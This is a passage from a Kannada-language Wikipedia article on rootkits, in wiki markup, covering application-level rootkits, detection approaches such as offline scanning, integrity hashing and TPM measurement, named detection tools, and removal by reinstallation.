ಉಪಯೋಗಿಸಲಾಗಿದೆ) ಬದಲಾವಣೆಗಾಗಿ ಅಥವಾ ಮೂಲತಃ ಹಂಚಿದ ಲೈಬ್ರರಿ ಪ್ಯಾಕೇಜ್‌ಗಳಲ್ಲಿ ಪರಿಶೀಲಿಸುವ ಮೂಲಕ ಕಂಡುಕೊಳ್ಳಬಹುದು (ಮತ್ತು ಅದಕ್ಕಾಗಿ, ಮಾಲ್‌ವೇರ್‌ ರಹಿತ ಎಂದುಕೊಳ್ಳಬಹುದು); ಕೋಡ್ ಕೇವಲ ಸ್ಮರಣೆಯಲ್ಲಿ ಮಾತ್ರ ನಾಶಗೊಂಡಿದ್ದರೆ ಈ ವಿಧಾನವು ಸಫಲವಾಗದಿರಬಹುದು, ಅಥವಾ ಒಂದು ವೇಳೆ ರೂಟ್‌ಕಿಟ್‌ ಸ್ಕಾನ್ ಮಾಡುವ ಸೌಲಭ್ಯವಿರುವ ಕೇವಲ ಬದಲಾಯಿಸಲಾರದ ಆವೃತ್ತಿಯನ್ನು ಪ್ರಸ್ತುತಪಡಿಸುತ್ತಿದ್ದರೆ. [[ಡಿಜಿಟಲ್ ಸಿಗ್ನೇಚರ್‌|ಡಿಜಿಟಲ್ ಸಿಗ್ನೇಚರ್‌ಗಳು]] ಕೋಡ್ ಲೈಬ್ರರಿಗಳಲ್ಲಿ ಯಾವುದೇ ಅನಧಿಕೃತ ಬದಲಾವಣೆಯಾಗಿದ್ದರೆ ಅದನ್ನು ಗುರುತಿಸಲು ಸಹಾಯ ಮಾಡುತ್ತವೆ.<ref>{{cite web|url=http://msdn.microsoft.com/en-us/library/ms537364(VS.85).aspx|title=Signing and Checking Code with Authenticode|publisher=[[Microsoft]]|accessdate=2008-09-15}}</ref> ಹೇಗಿದ್ದರೂ, ಅತ್ಯಂತ ಸಾಮಾನ್ಯವಾದ ಸ್ಕೀಮ್‌ಗಳು "ಪ್ರಕಾಶಕ"ರಿಂದ ಪ್ರಕಟಗೊಂಡ ನಂತರದಲ್ಲಿ ಕೋಡ್‌ನಲ್ಲಿ ಯಾವುದಾದರೂ ಬದಲಾವಣೆಗಳು ಉಂಟಾಗಿವೆಯೇ ಎಂದು ಪರಿಶೀಲಿಸುತ್ತದೆ; ಅದಕ್ಕಿಂದ ಮೊದಲೇ ಹಾನಿಪಡಿಸುವಿಕೆ ಉಂಟಾಗಿದ್ದರೆ ಅದನ್ನು ಕಂಡುಹಿಡಿಯುವುದು ಅಸಾಧ್ಯ. === ಅಪ್ಲಿಕೇಶನ್‌ ಮಟ್ಟ === ಅಪ್ಲಿಕೇಶನ್‌ ಮಟ್ಟದ ರೂ‍ಟ್‌ಕಿಟ್‌ಗಳು ನಿರಂತರವಾದ ಅಪ್ಲಿಕೇಶನ್‌ ಬೈನರಿಗಳನ್ನು [[ಟ್ರೋಜನ್]] ಫೇಕ್‌ಗಳೋಂದಿಗೆ ಬದಲಿಸುತ್ತವೆ, ಅಥವಾ ಪ್ರಸ್ತುತದಲ್ಲಿರುವ ಅಪ್ಲಿಕೇಶನ್‌ಗಳ ವರ್ತನೆಯನ್ನು ಬದಲಿಸಬಹುದು, ಹುಕ್‌ಗಳನ್ನು, ಪ್ಯಾಚ್‌ಗಳು, ಇಂಜೆಕ್ಟೆಡ್ ಕೋಡ್ ಬಳಸಿ ಅಥವಾ ಇತರ ರೀತಿಯಲ್ಲಿ. ಕೆಲವು ನೀತಿಬಾಹೀರವಾದ ಸಂಸ್ಥೆಗಳಿದ್ದು ಅವುಗಳು ಇಂತಹ ರೂ‍ಟ್‌ಕಿಟ್‌ಗಳನ್ನು ಹಣ ಪಾವತಿಸುವ ಅನಿಯಂತ್ರಿತ ಪುಟ ರೆಫರಲ್‌ಗಳಿಗಾಗಿ ರಚಿಸುವ ಸಲುವಾಗಿ ಹಂಚುವುದನ್ನೇ ವ್ಯವಹಾರವನ್ನಾಗಿ ಮಾಡಿಕೊಂಡಿರುತ್ತವೆ. ಅಂತಹ ಪ್ರೋಗ್ರಾಮ್‌ಗಳು ಭೇಟಿಯನ್ನು [[ಗೂಗಲ್‌|ಗೂಗಲ್‌ನಂತಹ]] ಪ್ರಸಿದ್ಧ ವೆಬ್‌ಸೈಟ್‌ಗಳಿಗೆ ಅಲ್ಲಿಂದ ಆ ರೂ‌ಟ್‌ಕಿಟ್ ಹಂಚಿದವರ ಗ್ರಾಹಕರಿಗೆ ನಿರ್ದೇಶಿಸುತ್ತದೆ. == ಪತ್ತೆ ಹಚ್ಚುವಿಕೆ == ರೂಟ್‌ಕಿಟ್‌ ಬೈನರಿಗಳನ್ನು ಸಿಗ್ನೇಚರ್ ಅಥವಾ ಹ್ಯೂರಿಸ್ಟಿಕ್ಸ್ ಆಧಾರಿತ ಆ‍ಯ್‌೦ಟಿವೈರಸ್‌ ಪ್ರೋಗ್ರಾಮ್‌ಗಳಿಂದ ಕನಿಷ್ಟ ಅವುಗಳನ್ನು ಬಳಕೆದಾರ ರನ್ ಮಾಡುತ್ತಿರುವಾಗ ಅಥವಾ ಅವುಗಳು ತಮ್ಮನ್ನು ಅಡಗಿಸಿಕೊಳ್ಳುವ ಮೊದಲು ಪತ್ತೆ ಹಚ್ಚಬಹುದು. ಪ್ರತಿಯೊಂದು ಪ್ರೋಗ್ರಾಮ್‌ಗೂ ಕೆಲವು ಆಂತರಿಕ ಮಿತಿಗಳಿರುತ್ತಿದ್ದು, ಆ ಪ್ರೋಗ್ರಾಮ್ ಆ ದಾಳಿ ಅನುಮಾನಿತ ಸಿಸ್ಟಮ್‌ನಲ್ಲಿ ಚಲಿಸುತ್ತಿರುವಾಗ ಅವುಗಳನ್ನು ರೂ‍ಟ್‌ಕಿಟ್‌ಗಳು ಕಂಡುಹಿಡಿಯಲು ಪ್ರಯತ್ನಿಸುತ್ತವೆ. ರೂ‍ಟ್‌ಕಿಟ್‌ಗಳು ಪ್ರೋಗ್ರಾಮ್‌ಗಳ ಗುಚ್ಚಗಳಾಗಿದ್ದು ಅವುಗಳು ಸಿಸ್ಟಮ್‌ನ ಎಲ್ಲ ಪ್ರೋಗ್ರಾಮ್‌ಗಳು ಅವಲಂಬಿತವಾಗಿರುವ ಕೋರ್ ಸಿಸ್ಟಮ್ ಸಾಧನಗಳನ್ನು ಮತ್ತು ಲೈಬ್ರೆರಿಗಳನ್ನು ಪರಿವರ್ತಿಸುತ್ತವೆ. ಕೆಲವು ರೂ‍ಟ್‌ಕಿಟ್‌ಗಳು ಚಲಿಸುತ್ತಿರುವ [[ಆಪರೇಟಿಂಗ್ ಸಿಸ್ಟಮ್‌]] ಅನ್ನು ಲಿನಕ್ಸ್‌‌ನಲ್ಲಿ (ಮತ್ತು ಕೆಲವು ಇತರೆ UNIX ವಿಧಗಳಲ್ಲಿ) ಲೋಡಬಲ್ ಮಾಡ್ಯೂಲ್‌ಗಳ ಮೂಲಕ ಪರಿವರ್ತಿಸಲು ಪ್ರಯತ್ನಿಸುತ್ತವೆ, ಮತ್ತು [[VxD|VxDಗಳ]] ಮೂಲಕ, ಎಂಎಸ್ ವಿಂಡೋಸ್ ಪ್ಲ್ಯಾಟ್‌ಫಾರ್ಮ್‌ಗಳಲ್ಲಿ ವರ್ಚುಅಲ್ ಬಾಹ್ಯ [[ಡಿವೈಸ್ ಡ್ರೈವರ್‌ಗಳ|ಡಿವೈಸ್ ಡ್ರೈವರ್‌ಗಳನ್ನು]] ಪರಿವರ್ತಿಸಲು ಪ್ರಯತ್ನಿಸುತ್ತವೆ. ರೂಟ್‌ಕಿಟ್‌ ಪತ್ತೆ ಹಚ್ಚುವಿಕೆಯಲ್ಲಿನ ಮೂಲಭೂತ ಸಮಸ್ಯೆಯೆಂದರೆ ಒಂದುವೇಳೆ ಪ್ರಸ್ತುತ ಚಲಿಸುತ್ತಿರುವ ಆಪರೇಟಿಂಗ್ ಸಿಸ್ಟಮ್‌ ಅನ್ನು ನಾಶಮಾಡಿದರೆ, ಅದು ತನಗೆ ಅಥವಾ ತನ್ನ ಭಾಗಗಳಿಗೆ ಅನಧಿಕೃತ ಪರಿವರ್ತನೆಗಳನ್ನು ಮಾಡುವುದನ್ನು ಕಂಡುಕೊಳ್ಳಲು ಸಾಧ್ಯವಿಲ್ಲ. ಅಂದರೆ, ಎಲ್ಲಾ ಚಲಿಸುತ್ತಿರುವ ಪ್ರಕ್ರಿಯೆಗಳ ಪಟ್ಟಿಗಾಗಿ ಅಥವಾ ಒಂದು ಡೈರೆಕ್ಟರಿಯಲ್ಲಿರುವ ಎಲ್ಲಾ ಫೈಲ್‌ಗಳ ಪಟ್ಟಿಗಾಗಿ ಕೋರಿಕೆ ಮಾಡುವಂತಹ ಕ್ರಿಯೆಗಳನ್ನು ಮೂಲ ಡಿಸೈನರ್‌ಗಳು ಯಾವ ಉದ್ದೇಶದಿಂದ ಮಾಡಿದ್ದರೇ ಅದೇ ಉದ್ದೇಶದ ವರ್ತನೆ ಎಂದು ನಂಬಲು ಸಾಧ್ಯವಿಲ್ಲ. ಲೈವ್ ಸಿಸ್ಟಮ್‌ಗಳಲ್ಲಿ ಪ್ರಸ್ತುತವಾಗಿ ಚಲಿಸುತ್ತಿರುವ ರೂಟ್‌ಕಿಟ್‌ ಡಿಟೆಕ್ಟರ್‌ಗಳು ಕೆಲಸ ಮಾಡುತ್ತವೆ ಏಕೆಂದರೆ ಅವುಗಳು ಕಂಡುಹಿಡಿಯುವಂತಹ ರೂ‍ಟ್‌ಕಿಟ್‌ಗಳನ್ನು ಅಷ್ಟು ಪರಿಪೂರ್ಣವಾಗಿ ತಾವು ಅಡಗಿಕೊಳ್ಳುವಂತೆ ಅಭಿವೃದ್ಧಿಪಡಿಸಲಾಗಿರುವುದಿಲ್ಲ. ಒಂದು ತಾರ್ಕಿಕ ಹೋಲಿಕೆಯೆಂದರೆ: ''ಒಬ್ಬ ವ್ಯಕ್ತಿ ಒಬ್ಬ ಬ್ರೇನ್‌ವಾಶ್ ಮಾಡಲ್ಪಟ್ಟ ವ್ಯಕ್ತಿಯನ್ನು ನೀವು ಬ್ರೈನ್ ವಾಶ್ ಮಾಡಲ್ಪಟ್ಟವರೇ ಎಂದು ಕೇಳಿದಾಗ, ಒಂದು ತಾರ್ಕಿಕ ಉತ್ತರವೆಂದರೆ ಅವರು ಕೊಡುವ ಯಾವ ಉತ್ತರವನ್ನೂ ನಂಬಲು ಸಾಧ್ಯವಿಲ್ಲ.'' ಆಪರೇಟಿಂಗ್ ಸಿಸ್ಟಮ್‌-ಮಟ್ಟ ರೂಟ್‌ಕಿಟ್‌ ಕಂಡುಹಿಡಿಯುವಿಕೆಗೆ ಅತ್ಯಂತ ಉತ್ತಮವಾದ ಮತ್ತು ಅತ್ಯಂತ ವಿಶ್ವಾಸಾರ್ಹವಾದ ಪದ್ಧತಿಯೆಂದರೆ ದಾಳಿಗೊಳಗಾಗಿರುವ ಕಂಪ್ಯೂಟರ್‌ ಅನ್ನು ಶಟ್‌ಡೌನ್ ಮಾಡುವುದು, ಮತ್ತು ಒಂದು ಪರ್ಯಾಯ ವಿಶ್ವಾಸಾರ್ಹ ಮಾಧ್ಯಮದಿಂದ ಅದನ್ನು [[ಬೂಟಿಂಗ್]] ಮಾಡುವ ಮೂಲಕ ಅದರ [[ಸಂಗ್ರಹ|ಸಂಗ್ರಹವನ್ನು]] ಪರೀಕ್ಷಿಸುವುದು(ಉದಾಹರಣೆಗೆ ಒಂದು ರಕ್ಷಣೆಯ [[CD-ROM]] ಅಥವಾ [[USB ಫ್ಲ್ಯಾಶ್ ಡ್ರೈವ್]]){{Citation needed|date=September 2007}}. ಒಂದು ಚಲಿಸದೇ ಇರುವ ರೂಟ್‌ಕಿಟ್‌ ತನ್ನ ಅಸ್ತಿತ್ವವನ್ನು ಸಕ್ರಿಯವಾಗಿ ಮುಚ್ಚಿಕೊಳ್ಳಲು ಸಾಧ್ಯವಿಲ್ಲ, ಮತ್ತು ಅತ್ಯಂತ ಸ್ಥಿರವಾಗಿ ಕುಳಿತ ಆ‍ಯ್‌೦ಟಿವೈರಸ್‌ ಪ್ರೋಗ್ರಾಮ್‌ಗಳು ಪ್ರಮಾಣಿತ ಒಎಸ್ ಕಾಲ್‌ಗಳನ್ನು ಹೊಂದಿರುವ ರೂ‍ಟ್‌ಕಿಟ್‌ಗಳನ್ನು (ಅವುಗಳನ್ನು ಸಾಮಾನ್ಯವಾಗಿ ರೂಟ್‌ಕಿಟ್‌ ಮುಖಾಂತರ ತಿದ್ದುಪಡಿ ಮಾಡಲಾಗಿರುತ್ತದೆ) ಮತ್ತು ನಂಬಲರ್ಹ ಕೆಳಮಟ್ಟದ ಪ್ರಶ್ನೆಗಳನ್ನು ಕಂಡುಹಿಡಿಯುತ್ತವೆ. ಒಂದು ವೇಳೆ ಅದರಲ್ಲಿ ವ್ಯತ್ಯಾಸವಿದ್ದರೆ, ಒಂದು ರೂಟ್‌ಕಿಟ್‌ ದಾಳಿಯ ಉಪಸ್ಥಿತಿಯನ್ನು ಊಹಿಸಿಕೊಳ್ಳಬಹುದು. ಚಲಿಸುತ್ತಿರುವ ರೂ‍ಟ್‌ಕಿಟ್‌ಗಳು ಸ್ಕ್ಯಾನಿಂಗ್ ಆಗುತ್ತಿರುವ ಸಮಯದಲ್ಲಿ ಚಲಿಸುತ್ತಿರುವ ಪ್ರಕ್ರಿಯೆಗಳನ್ನು ಗಮನಿಸುವ ಮೂಲಕ ಮತ್ತು ತಮ್ಮ ಕಾರ್ಯವನ್ನು ಸ್ಥಗಿತಗೊಳಿಸುವ ಮೂಲಕ ತಮ್ಮನ್ನು ತಾವು ರಕ್ಷಿಸಿಕೊಳ್ಳಲು ಪ್ರಯತ್ನಿಸುತ್ತವೆ; ರೂಟ್‌ಕಿಟ್‌ ಚಲಿಸಲು ಅವಕಾಶ ನೀಡದಿದ್ದರೆ ಇದು ಬಹಳ ಕಷ್ಟಕರವಾಗುತ್ತದೆ. {{Citation needed|date=September 2007}} ಭದ್ರತೆ ಸಾಫ್ಟ್‌ವೇರ್‌ ಮಾರಾಟಗಾರರು ರೂಟ್‌ಕಿಟ್‌ ಡಿಟೆಕ್ಷನ್ ಅನ್ನು ತಮ್ಮ ಪ್ರಸ್ತುತವಿರುವ ಆ‍ಯ್‌೦ಟಿವೈರಸ್‌ ಉತ್ಪನ್ನಗಳಿಗೆ ಸೇರಿಸಿ ಒಂದು ಪರಿಹಾರ ಕಂಡುಕೊಳ್ಳಲು ಪ್ರಯತ್ನಿಸಿದ್ದಾರೆ. ಒಂದು ರೂಟ್‌ಕಿಟ್‌ ಆ‍ಯ್‌೦ಟಿವೈರಸ್‌ ಸ್ಕ್ಯಾನ್ ಸಮಯದಲ್ಲಿ ತನ್ನನ್ನು ತಾನು ಅಡಗಿಸಿಕೊಳ್ಳಲು ಪ್ರಯತ್ನಿಸಿದರೆ, ಸ್ಟೆಲ್ತ್ ಡಿಟೆಕ್ಟರ್ ಅದನ್ನು ಕಂಡುಹಿಡಿಯುತ್ತದೆ; ಒಂದು ವೇಳೆ ಅದು ತಾತ್ಕಾಲಿಕವಾಗಿ ಸಿಸ್ಟಮ್‌ನಿಂದ ಅನ್‌ಲೋಡ್ ಆಗಲು ಪ್ರಯತ್ನಿಸಿದರೆ ಅದನ್ನು ಫಿಂಗರ್‌ಪ್ರಿಂಟ್ (ಅಥವಾ ''ಸಿಗ್ನೇಚರ್'') ಡಿಟೆಕ್ಷನ್ ಕಂಡುಹಿಡಿಯುತ್ತದೆ. ಆ‍ಯ್‌೦ಟಿ-ವೈರಸ್ ಉತ್ಪನ್ನಗಳು ಬಾಹ್ಯ ಪರೀಕ್ಷೆಗಳಲ್ಲಿ ಎಲ್ಲಾ ವೈರಸ್‌ಗಳನ್ನು ಸಂಪೂರ್ಣವಾಗಿ ಹಿಡಿದುಹಾಕಲು ಸಾಮರ್ಥ್ಯವನ್ನು ಹೊಂದಿರುವುದಿಲ್ಲವಾದ್ದರಿಂದ, ಹಿಂದಿನ ವರ್ತನೆಗಳ ಮೇಲೆ ಈ ಪ್ರಯೋಗವನ್ನು ಅನುಮಾನಿಸಬಹುದಾಗಿದೆ. ಆದರೆ ಈ ಸಾಂಘಿಕ ಪ್ರಯತ್ನವು ದಾಳಿಕೋರರಿಗೆ ತಮ್ಮ ರೂಟ್‌ಕಿಟ್‌ ಕೋಡ್‌ನಲ್ಲಿ ಪ್ರತಿದಾಳಿ ಮೆಕ್ಯಾನಿಸಮ್‌ಗಳನ್ನು (ರೆಟ್ರೋ ರುಟೀನ್‌ಗಳು) ಬಳಸಿಕೊಳ್ಳುವಂತೆ ಪ್ರೇರಿಸಬಹುದು ಮತ್ತು ಅವು ಭದ್ರತೆಯ ಸಾಫ್ಟ್‌ವೇರ್‌ ಪ್ರಕ್ರಿಯೆಗಳನ್ನು ಆ‍ಯ್‌೦ಟಿವೈರಸ್‌ ಪ್ರೋಗ್ರಾಮನ್ನು ಸಂಪೂರ್ಣವಾಗಿ ನಾಶ ಮಾಡುವ ಮೂಲಕ ಸ್ಮರಣೆಯಿಂದ ಒತ್ತಾಯಪೂರ್ವಕವಾಗಿ ಹೊರಹಾಕುತ್ತವೆ. [[ಕಂಪ್ಯೂಟರ್‌ ವೈರಸ್‌|ಕಂಪ್ಯೂಟರ್‌ ವೈರಸ್‌ಗಳಂತೆಯೇ]], ರೂ‍ಟ್‌ಕಿಟ್‌ಗಳನ್ನು ಕಂಡುಕೊಳ್ಳುವಿಕೆ ಮತ್ತು ನಾಶಪಡಿಸುವಿಕೆಯು ಈ ಹೋರಾಟದ ಎರಡೂ ಕಡೆಯಲ್ಲಿನ ಸಾಧನಗಳ ರಚನಾಕಾರರ ನಡುವೆ ಮುಂದುವರೆಯುವ ಹೋರಾಟವೇ ಆಗಿರುತ್ತದೆ. ರೂ‍ಟ್‌ಕಿಟ್‌ಗಳನ್ನು ಕಂಡುಹಿಡಿಯುವುದಕ್ಕೆ ಅನೇಕ ಪ್ರೋಗ್ರಾಮ್‌ಗಳು ಲಭ್ಯವಿವೆ. ಯುನಿಕ್ಸ್-ಆಧಾರಿತ ಸಿಸ್ಟಮ್‌ಗಳಲ್ಲಿ, ಅತ್ಯಂತ ಪ್ರಸಿದ್ಧವಾದವುಗಳಲ್ಲಿ ಮೂರೆಂದರೆ [[ಸಿಎಚ್‌ಕೆರೂಟ್‌ಕಿಟ್‌]], [[ಆರ್‌ಕೆಹಂಟರ್]] ಮತ್ತು [[OSSEC]]. ವಿಂಡೋಸ್‌ನಲ್ಲಿ, [http://technet.microsoft.com/en-us/sysinternals/bb897445.aspx ಮೈಕ್ರೋಸಾಫ್ಟ್‌ ಸಿಸ್‌ಇಂಟರ್ನಲ್ಸ್ ರೂಟ್‌ಕಿಟ್‌ ರಿವೀಲರ್], [[ಅವಾಸ್ಟ್!]] [[ಆ‍ಯ್‌೦ಟಿವೈರಸ್‌]], [http://www.sophos.com/products/free-tools/sophos-anti-rootkit.html ಸೋಫೋಸ್ ಆ‍ಯ್‌೦ಟಿ-ರೂಟ್‌ಕಿಟ್‌], [[ಎಫ್-ಸೆಕ್ಯೂರ್ ಬ್ಲ್ಯಾಕ್‌ಲೈಟ್]], ಮತ್ತು [http://www.usec.at/rootkit.html ರೆಡಿಕ್ಸ್‌] ನಂತಹ ಅನೇಕ ಕಂಡುಹಿಡಿಯುವ ಸಾಧನಗಳಿವೆ. ರೂ‍ಟ್‌ಕಿಟ್‌ಗಳನ್ನು ಕಂಡುಹಿಡಿಯುವಲ್ಲಿ ಬಳಸುವ ಇನ್ನೊಂದು ವಿಧಾನವೆಂದರೆ ಡಿಸ್ಕ್‌ನಲ್ಲಿನ ಆಪರೇಟಿಂಗ್ ಮೆಮರಿಯಲ್ಲಿನ ಬೈನರಿ ಕಂಟೆಂಟ್ ಅನ್ನು ಅದರ ಪ್ರತಿಗಳೊಂದಿಗೆ ಹೋಲಿಸುವುದು — ಹೇಗಾದರೂ ಕೆಲವು ಗಮನಾರ್ಹ ವ್ಯತ್ಯಾಸಗಳನ್ನು ಆಪರೇಟಿಂಗ್ ಸಿಸ್ಟಮ್‌ ಮೆಕ್ಯಾನಿಸಮ್‌ಗಳು ತೋರಿಸಬಹುದು, ''ಉದಾಹರಣೆಗೆ'' , ಸ್ಮರಣೆಯ ಮರುಸ್ಥಾನಗೊಳಿಸುವಿಕೆ ಅಥವಾ [[ಷಿಮ್ಮಿಂಗ್]], ಆದರೆ ಕೆಲವನ್ನು ಒಂದು ಚಲಿಸುತ್ತಿರುವ ರೂಟ್‌ಕಿಟ್‌ ಪ್ರಾರಂಭಿಸಿರುವ ('''ಸಿಸ್ಟಮ್ ವರ್ಜಿನಿಟಿ ವೇರಿಫೈಯರ್''' ) ಸಿಸ್ಟಮ್ ಕಾಲ್ ಹುಕ್ಸ್ ಎಂದು ವಿಭಜಿಸಬಹುದಾಗಿದೆ. [[ಝೆಪ್ಪೋ]] ಇನ್ನೊಂದು ಸಾಫ್ಟ್‌ವೇರ್‌ ಉತ್ಪನ್ನವಾಗಿದ್ದು ಅದು [[ಲಿನಕ್ಸ್‌]] ಮತ್ತು [[ಯುನಿಕ್ಸ್]] ಸಿಸ್ಟಮ್‌ಗಳಲ್ಲಿನ ರೂ‍ಟ್‌ಕಿಟ್‌ಗಳನ್ನು ಕಂಡುಹಿಡಿಯುತ್ತದೆ. ಯಾವಾಗಿನಂತೆ, ತಡೆಯುವಿಕೆ ನಂತರದಲ್ಲಿ ಪರಿಹಾರ ಕಂಡುಹಿಡಿಯುವುದಕ್ಕಿಂತ ಉತ್ತಮ. ಒಂದು ರೂಟ್‌ಕಿಟ್‌ ಅನ್ನು ಸಂಪೂರ್ಣವಾಗಿ ತೆಗೆಯಲಾಗಿದೆ ಎಂಬುದನ್ನು ಖಚಿತಪಡಿಸಿಕೊಳ್ಳುವಿಕೆಯು ವಿಶಿಷ್ಟವಾಗಿ ಎಲ್ಲಾ ಸಾಫ್ಟ್‌ವೇರ್‌‌ಗಳ ಮರು-ಸ್ಥಾಪನೆಯನ್ನು ಒಳಗೊಳ್ಳುತ್ತದೆ. ಸಿಸ್ಟಮ್ ಸ್ಥಾಪನೆಯ ಡಿಸ್ಕ್‌ಗಳ ಸಮಗ್ರತೆಯನ್ನು ''ನಂಬಬಹುದಾದರೆ'' , ಸಿಸ್ಟಮ್‌ನ ಸಮಗ್ರತೆಯನ್ನು ಪರಿವೀಕ್ಷಿಸಲು ಕ್ರಿಪ್ಟೋಗ್ರಫಿಯನ್ನು ಬಳಸಬಹುದಾಗಿದೆ. ಸಿಸ್ಟಮ್ ಸ್ಥಾಪನೆಯ ತಕ್ಷಣದಲ್ಲಿಯೇ ಮತ್ತು ಸಿಸ್ಟಮ್‌ನಲ್ಲಿ ಕೆಲವು ಬದಲಾವಣೆಗಳನ್ನು ಮಾಡಿದ ನಂತರ ಮತ್ತೆ ಸಿಸ್ಟಮ್ ಫೈಲ್‌ಗಳನ್ನು ''ಫಿಂಗರ್‌ಪ್ರಿಂಟಿಂಗ್'' ಮಾಡುವ ಮೂಲಕ ಇದನ್ನು ಮಾಡಬಹುದು. ಒಂದು ಚಾಲನಸಾಧ್ಯ ಉದಾಹರಣೆ ಎಂದರೆ: ಒಂದು ಹೊಸ ಸಾಫ್ಟ್‌ವೇರ್‌ ಅನ್ನು ಸ್ಥಾಪಿಸಿದ ನಂತರದಲ್ಲಿ, ಬಳಕೆದಾರ ಅಥವಾ ನಿರ್ವಾಹಕರಿಗೆ ಅಖಂಡ ಮತ್ತು ಅತ್ಯಗತ್ಯವಾದ ಆಪರೇಟಿಂಗ್-ಸಿಸ್ಟಮ್ ಫೈಲ್‌ಗಳನ್ನು ಯಾವುದೇ ಸಂಭಾವ್ಯ ಹಾಳುಮಾಡುವ ಅಥವಾ ಅಪಾಯಕಾರಿಯಾದ ಬದಲಾವಣೆಗಳ ಕುರಿತು ಸೂಚನೆ ನೀಡಲಾಗುವುದು. ಫಿಂಗರ್‌ಪ್ರಿಂಟಿಂಗ್‌ ಪ್ರಕ್ರಿಯೆಯಲ್ಲಿ ಫಿಂಗರ್‌ಪ್ರಿಂಟ್ ಆಗುವ ಫೈಲ್‌ನ ಪ್ರತಿ ಬಿಟ್‌ನಲ್ಲಿಯೂ ಒಂದು ''ಸ್ಥಿರ-ಉದ್ದದ ಡೈಜೆಸ್ಟ್'' ಆಧಾರಿತವನ್ನು ರಚಿಸಲು ಒಂದು [[ಮೆಸೇಜ್ ಡೈಜೆಸ್ಟ್]] ಅನ್ನು ಬಳಸಲಾಗುತ್ತದೆ. ನಿಯಮಿತವಾಗಿ ಫೈಲ್‌ಗಳ ಮೆಸೇಜ್ ಡೈಜೆಸ್ಟ್‌ ಮೌಲ್ಯಗಳನ್ನು ಲೆಕ್ಕ ಮಾಡುತ್ತ ಮತ್ತು ಹೋಲಿಸುತ್ತ ಸಿಸ್ಟಮ್‌ನಲ್ಲಿ ಆಗಿರುವ ಬದಲಾವಣೆಗಳನ್ನು ಪರಿಶೀಲಿಸಬಹುದು ಮತ್ತು ಕಂಡುಹಿಡಿಯಬಹುದು. [[ಫರ್ಮ್‌ವೇರ್‌]] ನಲ್ಲಿ ಕಂಡುಹಿಡಿಯುವಿಕೆಯನ್ನು ಫರ್ಮ್‌ವೇರ್‌‌‍ನ ಒಂದು [[ಕ್ರಿಪ್ಟೋಗ್ರಫಿಕ್ ಹ್ಯಾಶ್]] ಅನ್ನು ಕಂಪ್ಯೂಟಿಂಗ್ ಮಾಡುವ ಮೂಲಕ ಸಾಧಿಸಬಹುದು ಮತ್ತು ಹ್ಯಾಶ್ ಮೌಲ್ಯಗಳನ್ನು ಒಂದು ನಿರೀಕ್ಷಿತ ಮೌಲ್ಯಗಳ ಒಂದು ವೈಟ್‌ಲಿಸ್ಟ್‌ಗೆ ಹೋಲಿಸುವ ಮೂಲಕ, ಅಥವಾ ಹ್ಯಾಶ್ ಮೌಲ್ಯವನ್ನು TPM ([[ಟ್ರಸ್ಟೆಡ್ ಪ್ಲ್ಯಾಟ್‌ಫಾರ್ಮ್ ಮಾಡ್ಯೂಲ್]]) ಕಾನ್ಫಿಗರೇಶನ್ ರಿಜಿಸ್ಟರ್‌ಗಳವರೆಗೆ ವಿಸ್ತರಿಸುವ ಮೂಲಕ ಸಾಧಿಸಬಹುದು. ಹ್ಯಾಶ್, ಹೋಲಿಕೆ, ಮತ್ತು/ಅಥವಾ ಆಪರೇಶನ್ ವಿಸ್ತರಣೆ ಮಾಡುವ ಕೋಡ್ ತಾನೇ ರೂಟ್‌ಕಿಟ್‌ನ ದಾಳಿಗೆ ಒಳಗಾಗಿಬಿಡಬಾರದು. ಪರಿವರ್ತನೆಗೊಳ್ಳದ ರೂಟ್-ಆಫ್-ಟ್ರಸ್ಟ್ (ಅಂದರೆ ಒಂದು ರೂಟ್‌ಕಿಟ್‌‌ನಿಂದ), ಬಳಸಬಹುದಾದರೆ, ಅದು ಸಿಸ್ಟಮ್ ರೂಟ್‌ಕಿಟ್‌ನಿಂದ ತಳಮಟ್ಟದ ದಾಳಿಗೆ ''ಒಳಗಾಗುವುದಿಲ್ಲ'' ಎಂಬುದನ್ನು ಖಚಿತಪಡಿಸುತ್ತದೆ. ಒಂದು ಟಿಪಿಎಮ್ ಬಳಸಿ ರೂಟ್‌ಕಿಟ್‌ ಕಂಡುಹಿಡಿಯುವ ಒಂದು ರೀತಿಯನ್ನು [[ಟ್ರಸ್ಟೆಡ್ ಕಂಪ್ಯೂಟಿಂಗ್ ಗ್ರೂಪ್]] ವಿವರಿಸುತ್ತದೆ.<ref>{{cite web|url=https://www.trustedcomputinggroup.org/news/Industry_Data/Whitepaper_Rootkit_Strom_v3.pdf|format=PDF|title=Stopping Rootkits at the Network Edge|date=4 January 2007|publisher=[[Trusted Computing Group]]|accessdate=2008-07-11}}</ref> == ತೆಗೆಯುವಿಕೆ == ಒಂದು ರೂಟ್‌ಕಿಟ್‌ ಅನ್ನು ನೇರವಾಗಿ ತೆಗೆಯಲು ಪ್ರಯತ್ನಿಸುವುದು ಪ್ರಾಯೋಗಿಕವಾಗಿ ಸಾಧ್ಯವಿಲ್ಲ. ಒಂದು ವೇಳೆ ರೂಟ್‌ಕಿಟ್‌‍‌ನ ಪ್ರಕಾರ ಮತ್ತು ಅದರ ಸ್ವಭಾವಗಳು ಗೊತ್ತಾದರೂ, ಅಗತ್ಯ ನೈಪುಣ್ಯತೆ ಮತ್ತು ಅನುಭವ ಇರುವ ಸಿಸ್ಟಮ್‌ ನಿರ್ವಾಹಕರಿಗೆ ಬೇಕಾಗುವ ಸಮಯ ಮತ್ತು ಪ್ರಯತ್ನವು ಒಂದು ಆಪರೇಟಿಂಗ್ ಸಿಸ್ಟಮ್‌ ಅನ್ನು ಮರು-ಸ್ಥಾಪನೆ ಮಾಡಲು ಬೇಕಾದ ಸಮಯಕ್ಕಿಂತ ಹೆಚ್ಚಾಗಬಹುದು. ಮರು-ಸ್ಥಾಪನೆ ಸಮಯವನ್ನು ಆಧುನಿಕ [[ಡ್ರೈವ್ ಇಮೇಜಿಂಗ್ ಸಾಫ್ಟ್‌ವೇರ್‌]] ನ ಪ್ರಯತ್ನದಿಂದ ಕಡಿಮೆಗೊಳಿಸಬಹುದು, ಮತ್ತು ಅಗತ್ಯ ಹಾರ್ಡ್‌ವೇರ್‌ ಡ್ರೈವರ್‌ಗಳಿಂದ ಮತ್ತು ಆಗಲೇ ಸ್ಥಾಪಿಸಿದ ಸಾಫ್ಟ್‌ವೇರ್‌ ಅಪ್ಲಿಕೇಶನ್‌ಗಳು ಮೂಲ್ ಇಮೇಜ್ ಅನ್ನು ತೆಗೆದುಹಾಕಬಹುದು, ಮತ್ತು ಆ 